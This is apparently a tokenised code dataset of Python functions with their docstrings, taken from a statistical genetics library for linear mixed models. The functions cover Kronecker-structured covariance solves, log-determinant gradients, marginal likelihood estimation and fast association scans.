{"signature": "def solve(self, v):", "body": "from numpy_sugar.linalg import ddot<EOL>self._init_svd()<EOL>L = kron(self.Lh, self.Lx)<EOL>return L.T @ ddot(self.D, L @ v, left=True)<EOL>", "docstring": "Implements the product K\u207b\u00b9\u22c5v.\n\nParameters\n----------\nv : array_like\n    Array to be multiplied.\n\nReturns\n-------\nx : ndarray\n    Solution x to the equation K\u22c5x = y.", "id": "f13610:c0:m20"}
{"signature": "def logdet(self):", "body": "self._init_svd()<EOL>return -log(self._De).sum() + self.G.shape[<NUM_LIT:0>] * self.C1.logdet()<EOL>", "docstring": "Implements log|K| = - log|D| + n\u22c5log|C\u2081|.\n\nReturns\n-------\nlogdet : float\n    Log-determinant of K.", "id": "f13610:c0:m21"}
{"signature": "def logdet_gradient(self):", "body": "from numpy_sugar.linalg import dotd<EOL>self._init_svd()<EOL>dC0 = self._C0.gradient()[\"<STR_LIT>\"]<EOL>grad_C0 = zeros_like(self._C0.Lu)<EOL>for i in range(self._C0.Lu.shape[<NUM_LIT:0>]):<EOL><INDENT>t = kron(dotd(self.Lh, dC0[..., i] @ self.Lh.T), self._diag_LxGGLxe)<EOL>grad_C0[i] = (self._De * t).sum()<EOL><DEDENT>dC1 = self._C1.gradient()[\"<STR_LIT>\"]<EOL>grad_C1 = zeros_like(self._C1.Lu)<EOL>p = self._Sxe.shape[<NUM_LIT:0>]<EOL>np = self._G.shape[<NUM_LIT:0>] - p<EOL>for i in range(self._C1.Lu.shape[<NUM_LIT:0>]):<EOL><INDENT>t = (dotd(self.Lh, dC1[..., i] @ self.Lh.T) * np).sum()<EOL>t1 = kron(dotd(self.Lh, dC1[..., i] @ self.Lh.T), eye(p))<EOL>t += (self._De * t1).sum()<EOL>grad_C1[i] = t<EOL><DEDENT>return {\"<STR_LIT>\": grad_C0, \"<STR_LIT>\": grad_C1}<EOL>", "docstring": "Implements \u2202log|K| = Tr[K\u207b\u00b9\u2202K].\n\nIt can be shown that::\n\n    \u2202log|K| = diag(D)\u1d40diag(L(\u2202K)L\u1d40) = diag(D)\u1d40(diag(L\u2095\u2202C\u2080L\u2095\u1d40)\u2297diag(L\u2093GG\u1d40L\u2093\u1d40)),\n\nwhen the derivative is over the parameters of C\u2080. Similarly,\n\n    \u2202log|K| = diag(D)\u1d40diag(L(\u2202K)L\u1d40) = diag(D)\u1d40(diag(L\u2095\u2202C\u2081L\u2095\u1d40)\u2297diag(I)),\n\nover the parameters of C\u2081.\n\nReturns\n-------\nC0 : ndarray\n    Derivative of C\u2080 over its parameters.\nC1 : ndarray\n    Derivative of C\u2081 over its parameters.", "id": "f13610:c0:m22"}
{"signature": "def LdKL_dot(self, v, v1=None):", "body": "self._init_svd()<EOL>def dot(a, b):<EOL><INDENT>r = tensordot(a, b, axes=([<NUM_LIT:1>], [<NUM_LIT:0>]))<EOL>if a.ndim > b.ndim:<EOL><INDENT>return r.transpose([<NUM_LIT:0>, <NUM_LIT:2>, <NUM_LIT:1>])<EOL><DEDENT>return r<EOL><DEDENT>Lh = self.Lh<EOL>V = unvec(v, (self.Lx.shape[<NUM_LIT:0>], -<NUM_LIT:1>) + v.shape[<NUM_LIT:1>:])<EOL>LdKL_dot = {<EOL>\"<STR_LIT>\": empty((v.shape[<NUM_LIT:0>],) + v.shape[<NUM_LIT:1>:] + (self._C0.Lu.shape[<NUM_LIT:0>],)),<EOL>\"<STR_LIT>\": empty((v.shape[<NUM_LIT:0>],) + v.shape[<NUM_LIT:1>:] + (self._C1.Lu.shape[<NUM_LIT:0>],)),<EOL>}<EOL>dC0 = self._C0.gradient()[\"<STR_LIT>\"]<EOL>for i in range(self._C0.Lu.shape[<NUM_LIT:0>]):<EOL><INDENT>t = dot(self._LxG, dot(self._LxG.T, dot(V, Lh @ dC0[..., i] @ Lh.T)))<EOL>LdKL_dot[\"<STR_LIT>\"][..., i] = t.reshape((-<NUM_LIT:1>,) + t.shape[<NUM_LIT:2>:], order=\"<STR_LIT:F>\")<EOL><DEDENT>dC1 = self._C1.gradient()[\"<STR_LIT>\"]<EOL>for i in range(self._C1.Lu.shape[<NUM_LIT:0>]):<EOL><INDENT>t = dot(V, Lh @ dC1[..., i] @ Lh.T)<EOL>LdKL_dot[\"<STR_LIT>\"][..., i] = t.reshape((-<NUM_LIT:1>,) + t.shape[<NUM_LIT:2>:], order=\"<STR_LIT:F>\")<EOL><DEDENT>return LdKL_dot<EOL>", "docstring": "Implements L(\u2202K)L\u1d40v.\n\nThe array v can have one or two dimensions and the first dimension has to have\nsize n\u22c5p.\n\nLet vec(V) = v. We have\n\n    L(\u2202K)L\u1d40\u22c5v = ((L\u2095\u2202C\u2080L\u2095\u1d40) \u2297 (L\u2093GG\u1d40L\u2093\u1d40))vec(V) = vec(L\u2093GG\u1d40L\u2093\u1d40VL\u2095\u2202C\u2080L\u2095\u1d40),\n\nwhen the derivative is over the parameters of C\u2080. Similarly,\n\n    L(\u2202K)L\u1d40v = ((L\u2095\u2202C\u2081L\u2095\u1d40) \u2297 (L\u2093L\u2093\u1d40))vec(V) = vec(L\u2093L\u2093\u1d40VL\u2095\u2202C\u2081L\u2095\u1d40),\n\nover the parameters of C\u2081.", "id": "f13610:c0:m23"}
{"signature": "def __init__(self, X):", "body": "self._logscale = Scalar(<NUM_LIT:0.0>)<EOL>self._X = X<EOL>Function.__init__(self, \"<STR_LIT>\", logscale=self._logscale)<EOL>self._logscale.bounds = (-<NUM_LIT>, +<NUM_LIT:10>)<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nX : array_like\n    Matrix X from K = s\u22c5XX\u1d40.", "id": "f13611:c0:m0"}
{"signature": "@property<EOL><INDENT>def X(self):<DEDENT>", "body": "return self._X<EOL>", "docstring": "Matrix X from K = s\u22c5XX\u1d40.", "id": "f13611:c0:m1"}
{"signature": "def fix(self):", "body": "self._fix(\"<STR_LIT>\")<EOL>", "docstring": "Prevent s update during optimization.", "id": "f13611:c0:m2"}
{"signature": "def unfix(self):", "body": "self._unfix(\"<STR_LIT>\")<EOL>", "docstring": "Enable s update during optimization.", "id": "f13611:c0:m3"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return exp(self._logscale.value)<EOL>", "docstring": "Scale parameter.", "id": "f13611:c0:m4"}
{"signature": "def value(self):", "body": "X = self.X<EOL>return self.scale * (X @ X.T)<EOL>", "docstring": "Covariance matrix.\n\nReturns\n-------\nK : ndarray\n    s\u22c5XX\u1d40.", "id": "f13611:c0:m6"}
{"signature": "def gradient(self):", "body": "return dict(logscale=self.value())<EOL>", "docstring": "Derivative of the covariance matrix over log(s).\n\nReturns\n-------\nlogscale : ndarray\n    s\u22c5XX\u1d40.", "id": "f13611:c0:m7"}
{"signature": "def _bstar_1effect(beta, alpha, yTBy, yTBX, yTBM, XTBX, XTBM, MTBM):", "body": "from numpy_sugar import epsilon<EOL>from numpy_sugar.linalg import dotd<EOL>from numpy import sum<EOL>r = full(MTBM[<NUM_LIT:0>].shape[<NUM_LIT:0>], yTBy)<EOL>r -= <NUM_LIT:2> * add.reduce([dot(i, beta) for i in yTBX])<EOL>r -= <NUM_LIT:2> * add.reduce([i * alpha for i in yTBM])<EOL>r += add.reduce([dotd(beta.T, dot(i, beta)) for i in XTBX])<EOL>r += add.reduce([dotd(beta.T, i * alpha) for i in XTBM])<EOL>r += add.reduce([sum(alpha * i * beta, axis=<NUM_LIT:0>) for i in XTBM])<EOL>r += add.reduce([alpha * i.ravel() * alpha for i in MTBM])<EOL>return clip(r, epsilon.tiny, inf)<EOL>", "docstring": "Same as :func:`_bstar_set` but for single-effect.", "id": "f13612:m0"}
{"signature": "def _bstar_set(beta, alpha, yTBy, yTBX, yTBM, XTBX, XTBM, MTBM):", "body": "from numpy_sugar import epsilon<EOL>r = yTBy<EOL>r -= <NUM_LIT:2> * add.reduce([i @ beta for i in yTBX])<EOL>r -= <NUM_LIT:2> * add.reduce([i @ alpha for i in yTBM])<EOL>r += add.reduce([beta.T @ i @ beta for i in XTBX])<EOL>r += <NUM_LIT:2> * add.reduce([beta.T @ i @ alpha for i in XTBM])<EOL>r += add.reduce([alpha.T @ i @ alpha for i in MTBM])<EOL>return clip(r, epsilon.tiny, inf)<EOL>", "docstring": "Compute -2\ud835\udc32\u1d40BE\u2c7c\ud835\udc1b\u2c7c + (\ud835\udc1b\u2c7cE\u2c7c)\u1d40BE\u2c7c\ud835\udc1b\u2c7c.\n\nFor \ud835\udc1b\u2c7c = [\ud835\udf37\u2c7c\u1d40 \ud835\udf36\u2c7c\u1d40]\u1d40.", "id": "f13612:m1"}
{"signature": "@cache<EOL><INDENT>def null_lml(self):<DEDENT>", "body": "n = self._nsamples<EOL>scale = self.null_scale<EOL>return (self._static_lml() - n * log(scale)) / <NUM_LIT:2><EOL>", "docstring": "Log of the marginal likelihood for the null hypothesis.\n\nIt is implemented as ::\n\n    2\u00b7log(p(Y)) = -n\u00b7log(2\ud835\udf0bs) - log\uff5cD\uff5c - n,\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.", "id": "f13612:c0:m1"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta(self):<DEDENT>", "body": "ETBE = self._ETBE<EOL>yTBX = self._yTBX<EOL>A = sum(i.XTBX for i in ETBE)<EOL>b = sum(yTBX)<EOL>return rsolve(A, b)<EOL>", "docstring": "Optimal \ud835\udf37 according to the marginal likelihood.\n\nIt is compute by solving the equation ::\n\n    (X\u1d40BX)\ud835\udf37 = X\u1d40B\ud835\udc32.\n\nReturns\n-------\nbeta : ndarray\n    Optimal \ud835\udf37.", "id": "f13612:c0:m2"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta_covariance(self):<DEDENT>", "body": "A = sum(i @ j.T for (i, j) in zip(self._XTQDi, self._XTQ))<EOL>return self.null_scale * pinv(A)<EOL>", "docstring": "Covariance of the optimal \ud835\udf37 according to the marginal likelihood.\n\nReturns\n-------\nbeta_covariance : ndarray\n    (X\u1d40(s(K + vI))\u207b\u00b9X)\u207b\u00b9.", "id": "f13612:c0:m3"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta_se(self):<DEDENT>", "body": "return sqrt(self.null_beta_covariance.diagonal())<EOL>", "docstring": "Standard errors of the optimal \ud835\udf37.\n\nReturns\n-------\nbeta_se : ndarray\n    Square root of the diagonal of the beta covariance.", "id": "f13612:c0:m4"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_scale(self):<DEDENT>", "body": "n = self._nsamples<EOL>beta = self.null_beta<EOL>sqrdot = self._yTBy - dot(sum(self._yTBX), beta)<EOL>return sqrdot / n<EOL>", "docstring": "Optimal s according to the marginal likelihood.\n\nThe optimal s is given by ::\n\n    s = n\u207b\u00b9\ud835\udc32\u1d40B(\ud835\udc32 - X\ud835\udf37),\n\nwhere \ud835\udf37 is optimal.\n\nReturns\n-------\nscale : float\n    Optimal scale.", "id": "f13612:c0:m5"}
{"signature": "def fast_scan(self, M, verbose=True):", "body": "from tqdm import tqdm<EOL>if M.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>p = M.shape[<NUM_LIT:1>]<EOL>lmls = empty(p)<EOL>effsizes0 = empty((p, self._XTQ[<NUM_LIT:0>].shape[<NUM_LIT:0>]))<EOL>effsizes0_se = empty((p, self._XTQ[<NUM_LIT:0>].shape[<NUM_LIT:0>]))<EOL>effsizes1 = empty(p)<EOL>effsizes1_se = empty(p)<EOL>scales = empty(p)<EOL>if verbose:<EOL><INDENT>nchunks = min(p, <NUM_LIT:30>)<EOL><DEDENT>else:<EOL><INDENT>nchunks = min(p, <NUM_LIT:1>)<EOL><DEDENT>chunk_size = (p + nchunks - <NUM_LIT:1>) // nchunks<EOL>for i in tqdm(range(nchunks), desc=\"<STR_LIT>\", disable=not verbose):<EOL><INDENT>start = i * chunk_size<EOL>stop = min(start + chunk_size, M.shape[<NUM_LIT:1>])<EOL>r = self._fast_scan_chunk(M[:, start:stop])<EOL>lmls[start:stop] = r[\"<STR_LIT>\"]<EOL>effsizes0[start:stop, :] = r[\"<STR_LIT>\"]<EOL>effsizes0_se[start:stop, :] = r[\"<STR_LIT>\"]<EOL>effsizes1[start:stop] = r[\"<STR_LIT>\"]<EOL>effsizes1_se[start:stop] = r[\"<STR_LIT>\"]<EOL>scales[start:stop] = r[\"<STR_LIT>\"]<EOL><DEDENT>return {<EOL>\"<STR_LIT>\": lmls,<EOL>\"<STR_LIT>\": effsizes0,<EOL>\"<STR_LIT>\": effsizes0_se,<EOL>\"<STR_LIT>\": effsizes1,<EOL>\"<STR_LIT>\": effsizes1_se,<EOL>\"<STR_LIT>\": scales,<EOL>}<EOL>", "docstring": "LMLs, fixed-effect sizes, and scales for single-marker scan.\n\nParameters\n----------\nM : array_like\n    Matrix of fixed-effects across columns.\nverbose : bool, optional\n    ``True`` for progress information; ``False`` otherwise.\n    Defaults to ``True``.\n\nReturns\n-------\nlmls : ndarray\n    Log of the marginal likelihoods.\neffsizes0 : ndarray\n    Covariate fixed-effect sizes.\neffsizes1 : ndarray\n    Candidate set fixed-effect sizes.\nscales : ndarray\n    Scales.", "id": "f13612:c0:m6"}
{"signature": "def scan(self, M):", "body": "from numpy_sugar.linalg import ddot<EOL>from numpy_sugar import is_all_finite<EOL>M = asarray(M, float)<EOL>if M.shape[<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>return {<EOL>\"<STR_LIT>\": self.null_lml(),<EOL>\"<STR_LIT>\": self.null_beta,<EOL>\"<STR_LIT>\": self.null_beta_se,<EOL>\"<STR_LIT>\": empty((<NUM_LIT:0>)),<EOL>\"<STR_LIT>\": empty((<NUM_LIT:0>)),<EOL>\"<STR_LIT>\": self.null_scale,<EOL>}<EOL><DEDENT>if not is_all_finite(M):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>MTQ = [dot(M.T, Q) for Q in self._QS[<NUM_LIT:0>] if Q.size > <NUM_LIT:0>]<EOL>yTBM = [dot(i, j.T) for (i, j) in zip(self._yTQDi, MTQ)]<EOL>XTBM = [dot(i, j.T) for (i, j) in zip(self._XTQDi, MTQ)]<EOL>D = self._D<EOL>MTBM = [ddot(i, <NUM_LIT:1> / j) @ i.T for i, j in zip(MTQ, D) if j.min() > <NUM_LIT:0>]<EOL>return self._multicovariate_set(yTBM, XTBM, MTBM)<EOL>", "docstring": "LML, fixed-effect sizes, and scale of the candidate set.\n\nParameters\n----------\nM : array_like\n    Fixed-effects set.\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.\neffsizes0 : ndarray\n    Covariates fixed-effect sizes.\neffsizes0_se : ndarray\n    Covariates fixed-effect size standard errors.\neffsizes1 : ndarray\n    Candidate set fixed-effect sizes.\neffsizes1_se : ndarray\n    Candidate fixed-effect size standard errors.\nscale : ndarray\n    Optimal scale.", "id": "f13612:c0:m7"}
{"signature": "def __init__(self, Y, A, X, G, terms):", "body": "self._Y = asarray(Y, float)<EOL>self._A = asarray(A, float)<EOL>self._X = asarray(X, float)<EOL>self._G = asarray(G, float)<EOL>self._H = terms[\"<STR_LIT:H>\"]<EOL>self._logdetK = terms[\"<STR_LIT>\"]<EOL>self._W = terms[\"<STR_LIT>\"]<EOL>self._yKiy = terms[\"<STR_LIT>\"]<EOL>self._WA = terms[\"<STR_LIT>\"]<EOL>self._WL0 = terms[\"<STR_LIT>\"]<EOL>self._Lz = terms[\"<STR_LIT>\"]<EOL>self._XRiM = terms[\"<STR_LIT>\"]<EOL>self._ZiXRiy = terms[\"<STR_LIT>\"]<EOL>self._ZiXRiM = terms[\"<STR_LIT>\"]<EOL>self._MRiM = terms[\"<STR_LIT>\"]<EOL>self._MRiXZiXRiM = terms[\"<STR_LIT>\"]<EOL>self._MRiy = terms[\"<STR_LIT>\"]<EOL>self._MRiXZiXRiy = terms[\"<STR_LIT>\"]<EOL>", "docstring": "Constructor.\n\nParameters\n----------\nY : (n, p) array_like\n    Outcome matrix.\nA : (n, n) array_like\n    Trait-by-trait design matrix.\nX : (n, c) array_like\n    Covariates design matrix.\nG : (n, r) array_like\n    Matrix G from the GG\u1d40 term.\nterms : dict\n    Pre-computed terms.", "id": "f13613:c0:m0"}
{"signature": "@cache<EOL><INDENT>def null_lml(self):<DEDENT>", "body": "np = self._nsamples * self._ntraits<EOL>scale = self.null_scale<EOL>return self._static_lml() / <NUM_LIT:2> - np * safe_log(scale) / <NUM_LIT:2> - np / <NUM_LIT:2><EOL>", "docstring": "Log of the marginal likelihood for the null hypothesis.\n\nIt is implemented as ::\n\n    2\u00b7log(p(Y)) = -n\u00b7p\u00b7log(2\ud835\udf0bs) - log\uff5cK\uff5c - n\u00b7p,\n\nfor which s and \ud835\udea9 are optimal.\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood.", "id": "f13613:c0:m1"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta(self):<DEDENT>", "body": "return rsolve(self._MKiM, self._MKiy)<EOL>", "docstring": "Optimal \ud835\udec3 according to the marginal likelihood.\n\nIt is compute by solving the equation ::\n\n    M\u1d40K\u207b\u00b9M\ud835\udec3 = M\u1d40K\u207b\u00b9\ud835\udc32,\n\nfor \ud835\udc32 = vec(Y) and M = (A \u2297 X)vec(\ud835\udea9).\n\nReturns\n-------\neffsizes : ndarray\n    Optimal \ud835\udec3.", "id": "f13613:c0:m2"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta_covariance(self):<DEDENT>", "body": "return self.null_scale * pinv(self._H)<EOL>", "docstring": "Covariance of the optimal \ud835\udec3 according to the marginal likelihood.\n\nReturns\n-------\neffsizes-covariance : ndarray\n    s(M\u1d40K\u207b\u00b9M)\u207b\u00b9.", "id": "f13613:c0:m3"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_beta_se(self):<DEDENT>", "body": "return sqrt(self.null_beta_covariance.diagonal())<EOL>", "docstring": "Standard errors of the optimal \ud835\udec3.\n\nReturns\n-------\nbeta_se : ndarray\n    Square root of the diagonal of the beta covariance.", "id": "f13613:c0:m4"}
{"signature": "@property<EOL><INDENT>@cache<EOL>def null_scale(self):<DEDENT>", "body": "np = self._nsamples * self._ntraits<EOL>b = vec(self.null_beta)<EOL>mKiy = b.T @ self._MKiy<EOL>sqrtdot = self._yKiy - mKiy<EOL>scale = sqrtdot / np<EOL>return scale<EOL>", "docstring": "Optimal s according to the marginal likelihood.\n\nThe optimal s is given by\n\n    s = (n\u00b7p)\u207b\u00b9\ud835\udc32\u1d40K\u207b\u00b9(\ud835\udc32 - \ud835\udc26),\n\nwhere \ud835\udc26 = (A \u2297 X)vec(\ud835\udea9) and \ud835\udea9 is optimal.\n\nReturns\n-------\nscale : float\n    Optimal scale.", "id": "f13613:c0:m5"}
{"signature": "def scan(self, A1, X1):", "body": "from numpy import empty<EOL>from numpy.linalg import multi_dot<EOL>from numpy_sugar import epsilon, is_all_finite<EOL>from scipy.linalg import cho_solve<EOL>A1 = asarray(A1, float)<EOL>X1 = asarray(X1, float)<EOL>if not is_all_finite(A1):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not is_all_finite(X1):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if A1.shape[<NUM_LIT:1>] == <NUM_LIT:0>:<EOL><INDENT>beta_se = sqrt(self.null_beta_covariance.diagonal())<EOL>return {<EOL>\"<STR_LIT>\": self.null_lml(),<EOL>\"<STR_LIT>\": unvec(self.null_beta, (self._ncovariates, -<NUM_LIT:1>)),<EOL>\"<STR_LIT>\": unvec(beta_se, (self._ncovariates, -<NUM_LIT:1>)),<EOL>\"<STR_LIT>\": empty((<NUM_LIT:0>,)),<EOL>\"<STR_LIT>\": empty((<NUM_LIT:0>,)),<EOL>\"<STR_LIT>\": self.null_scale,<EOL>}<EOL><DEDENT>X1X1 = X1.T @ X1<EOL>XX1 = self._X.T @ X1<EOL>AWA1 = self._WA.T @ A1<EOL>A1W = A1.T @ self._W<EOL>GX1 = self._G.T @ X1<EOL>MRiM1 = kron(AWA1, XX1)<EOL>M1RiM1 = kron(A1W @ A1, X1X1)<EOL>M1Riy = vec(multi_dot([X1.T, self._Y, A1W.T]))<EOL>XRiM1 = kron(self._WL0.T @ A1, GX1)<EOL>ZiXRiM1 = cho_solve(self._Lz, XRiM1)<EOL>MRiXZiXRiM1 = self._XRiM.T @ ZiXRiM1<EOL>M1RiXZiXRiM1 = XRiM1.T @ ZiXRiM1<EOL>M1RiXZiXRiy = XRiM1.T @ self._ZiXRiy<EOL>T0 = [[self._MRiM, MRiM1], [MRiM1.T, M1RiM1]]<EOL>T1 = [[self._MRiXZiXRiM, MRiXZiXRiM1], [MRiXZiXRiM1.T, M1RiXZiXRiM1]]<EOL>T2 = [self._MRiy, M1Riy]<EOL>T3 = [self._MRiXZiXRiy, M1RiXZiXRiy]<EOL>MKiM = block(T0) - block(T1)<EOL>MKiy = block(T2) - block(T3)<EOL>beta = rsolve(MKiM, MKiy)<EOL>mKiy = beta.T @ MKiy<EOL>cp = self._ntraits * self._ncovariates<EOL>effsizes0 = unvec(beta[:cp], (self._ncovariates, self._ntraits))<EOL>effsizes1 = unvec(beta[cp:], (X1.shape[<NUM_LIT:1>], A1.shape[<NUM_LIT:1>]))<EOL>np = self._nsamples * self._ntraits<EOL>sqrtdot = self._yKiy - mKiy<EOL>scale = clip(sqrtdot / np, epsilon.tiny, inf)<EOL>lml = self._static_lml() / <NUM_LIT:2> - np * safe_log(scale) / <NUM_LIT:2> - np / <NUM_LIT:2><EOL>effsizes_se = sqrt(clip(scale * pinv(MKiM).diagonal(), epsilon.tiny, inf))<EOL>effsizes0_se = unvec(effsizes_se[:cp], (self._ncovariates, self._ntraits))<EOL>effsizes1_se = unvec(effsizes_se[cp:], (X1.shape[<NUM_LIT:1>], A1.shape[<NUM_LIT:1>]))<EOL>return {<EOL>\"<STR_LIT>\": lml,<EOL>\"<STR_LIT>\": effsizes0,<EOL>\"<STR_LIT>\": effsizes1,<EOL>\"<STR_LIT>\": scale,<EOL>\"<STR_LIT>\": effsizes0_se,<EOL>\"<STR_LIT>\": effsizes1_se,<EOL>}<EOL>", "docstring": "LML, fixed-effect sizes, and scale of the candidate set.\n\nParameters\n----------\nA1 : (p, e) array_like\n    Trait-by-environments design matrix.\nX1 : (n, m) array_like\n    Variants set matrix.\n\nReturns\n-------\nlml : float\n    Log of the marginal likelihood for the set.\neffsizes0 : (c, p) ndarray\n    Fixed-effect sizes for the covariates.\neffsizes0_se : (c, p) ndarray\n    Fixed-effect size standard errors for the covariates.\neffsizes1 : (m, e) ndarray\n    Fixed-effect sizes for the candidates.\neffsizes1_se : (m, e) ndarray\n    Fixed-effect size standard errors for the candidates.\nscale : float\n    Optimal scale.", "id": "f13613:c0:m6"}
{"signature": "def __init__(self, y, X, QS=None, restricted=False):", "body": "from numpy_sugar import is_all_finite<EOL>from numpy_sugar.linalg import ddot, economic_svd<EOL>logistic = Scalar(<NUM_LIT:0.0>)<EOL>logistic.listen(self._delta_update)<EOL>logistic.bounds = (-numbers.logmax, +numbers.logmax)<EOL>Function.__init__(self, \"<STR_LIT>\", logistic=logistic)<EOL>self._logistic = logistic<EOL>y = asarray(y, float).ravel()<EOL>if not is_all_finite(y):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>X = atleast_2d(asarray(X, float).T).T<EOL>if not is_all_finite(X):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self._optimal = {\"<STR_LIT>\": False, \"<STR_LIT>\": False}<EOL>if QS is None:<EOL><INDENT>QS = economic_qs_zeros(len(y))<EOL>self.delta = <NUM_LIT:1.0><EOL>logistic.fix()<EOL><DEDENT>else:<EOL><INDENT>self.delta = <NUM_LIT:0.5><EOL><DEDENT>if QS[<NUM_LIT:0>][<NUM_LIT:0>].shape[<NUM_LIT:0>] != len(y):<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>if y.shape[<NUM_LIT:0>] != X.shape[<NUM_LIT:0>]:<EOL><INDENT>msg = \"<STR_LIT>\"<EOL>raise ValueError(msg)<EOL><DEDENT>self._Darr = []<EOL>n = y.shape[<NUM_LIT:0>]<EOL>d = self.delta<EOL>if QS[<NUM_LIT:1>].size > <NUM_LIT:0>:<EOL><INDENT>self._Darr += [QS[<NUM_LIT:1>] * (<NUM_LIT:1> - d) + d]<EOL><DEDENT>if QS[<NUM_LIT:1>].size < n:<EOL><INDENT>self._Darr += [full(n - QS[<NUM_LIT:1>].size, d)]<EOL><DEDENT>self._y = y<EOL>self._QS = QS<EOL>SVD = economic_svd(X)<EOL>self._X = {\"<STR_LIT:X>\": X, \"<STR_LIT>\": ddot(SVD[<NUM_LIT:0>], SVD[<NUM_LIT:1>]), \"<STR_LIT>\": SVD[<NUM_LIT:2>]}<EOL>self._tbeta = zeros(len(SVD[<NUM_LIT:1>]))<EOL>self._scale = <NUM_LIT:1.0><EOL>self._fix = {\"<STR_LIT>\": False, \"<STR_LIT>\": False}<EOL>self._restricted = restricted<EOL>", "docstring": "Constructor.\n\nParameters\n----------\ny : array_like\n    Outcome.\nX : array_like\n    Covariates as a two-dimensional array.\nQS : tuple\n    Economic eigendecompositon in form of ``((Q0, Q1), S0)`` of a\n    covariance matrix ``K``.\nrestricted : bool\n    ``True`` for restricted maximum likelihood optimization; ``False``\n    otherwise. Defaults to ``False``.", "id": "f13620:c0:m0"}
{"signature": "@property<EOL><INDENT>def beta(self):<DEDENT>", "body": "from numpy_sugar.linalg import rsolve<EOL>return rsolve(self._X[\"<STR_LIT>\"], rsolve(self._X[\"<STR_LIT>\"], self.mean()))<EOL>", "docstring": "Fixed-effect sizes.\n\nReturns\n-------\neffect-sizes : numpy.ndarray\n    Optimal fixed-effect sizes.\n\nNotes\n-----\nSetting the derivative of log(p(\ud835\udc32)) over effect sizes equal\nto zero leads to solutions \ud835\udf37 from equation ::\n\n    (Q\u1d40X)\u1d40D\u207b\u00b9(Q\u1d40X)\ud835\udf37 = (Q\u1d40X)\u1d40D\u207b\u00b9(Q\u1d40\ud835\udc32).", "id": "f13620:c0:m1"}
{"signature": "@property<EOL><INDENT>def beta_covariance(self):<DEDENT>", "body": "from numpy_sugar.linalg import ddot<EOL>tX = self._X[\"<STR_LIT>\"]<EOL>Q = concatenate(self._QS[<NUM_LIT:0>], axis=<NUM_LIT:1>)<EOL>S0 = self._QS[<NUM_LIT:1>]<EOL>D = self.v0 * S0 + self.v1<EOL>D = D.tolist() + [self.v1] * (len(self._y) - len(D))<EOL>D = asarray(D)<EOL>A = inv(tX.T @ (Q @ ddot(<NUM_LIT:1> / D, Q.T @ tX)))<EOL>VT = self._X[\"<STR_LIT>\"]<EOL>H = lstsq(VT, A, rcond=None)[<NUM_LIT:0>]<EOL>return lstsq(VT, H.T, rcond=None)[<NUM_LIT:0>]<EOL>", "docstring": "Estimates the covariance-matrix of the optimal beta.\n\nReturns\n-------\nbeta-covariance : ndarray\n    (X\u1d40(s((1-\ud835\udeff)K + \ud835\udeffI))\u207b\u00b9X)\u207b\u00b9.\n\nReferences\n----------\n.. Rencher, A. C., & Schaalje, G. B. (2008). Linear models in statistics. John\n   Wiley & Sons.", "id": "f13620:c0:m3"}
{"signature": "def fix(self, param):", "body": "if param == \"<STR_LIT>\":<EOL><INDENT>super()._fix(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._fix[param] = True<EOL><DEDENT>", "docstring": "Disable parameter optimization.\n\nParameters\n----------\nparam : str\n    Possible values are ``\"delta\"``, ``\"beta\"``, and ``\"scale\"``.", "id": "f13620:c0:m4"}
{"signature": "def unfix(self, param):", "body": "if param == \"<STR_LIT>\":<EOL><INDENT>self._unfix(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>self._fix[param] = False<EOL><DEDENT>", "docstring": "Enable parameter optimization.\n\nParameters\n----------\nparam : str\n    Possible values are ``\"delta\"``, ``\"beta\"``, and ``\"scale\"``.", "id": "f13620:c0:m5"}
{"signature": "@property<EOL><INDENT>def v0(self):<DEDENT>", "body": "return self.scale * (<NUM_LIT:1> - self.delta)<EOL>", "docstring": "First variance.\n\nReturns\n-------\nv0 : float\n    s(1 - \ud835\udeff).", "id": "f13620:c0:m6"}
{"signature": "@property<EOL><INDENT>def v1(self):<DEDENT>", "body": "return self.scale * self.delta<EOL>", "docstring": "Second variance.\n\nReturns\n-------\nv1 : float\n    s\ud835\udeff.", "id": "f13620:c0:m7"}
{"signature": "def fit(self, verbose=True):", "body": "if not self._isfixed(\"<STR_LIT>\"):<EOL><INDENT>self._maximize_scalar(desc=\"<STR_LIT>\", rtol=<NUM_LIT>, atol=<NUM_LIT>, verbose=verbose)<EOL><DEDENT>if not self._fix[\"<STR_LIT>\"]:<EOL><INDENT>self._update_beta()<EOL><DEDENT>if not self._fix[\"<STR_LIT>\"]:<EOL><INDENT>self._update_scale()<EOL><DEDENT>", "docstring": "Maximise the marginal likelihood.\n\nParameters\n----------\nverbose : bool, optional\n    ``True`` for progress output; ``False`` otherwise.\n    Defaults to ``True``.", "id": "f13620:c0:m8"}
{"signature": "def get_fast_scanner(self):", "body": "v0 = self.v0<EOL>v1 = self.v1<EOL>QS = (self._QS[<NUM_LIT:0>], v0 * self._QS[<NUM_LIT:1>])<EOL>return FastScanner(self._y, self.X, QS, v1)<EOL>", "docstring": "Return :class:`.FastScanner` for association scan.\n\nReturns\n-------\nfast-scanner : :class:`.FastScanner`\n    Instance of a class designed to perform very fast association scan.", "id": "f13620:c0:m9"}
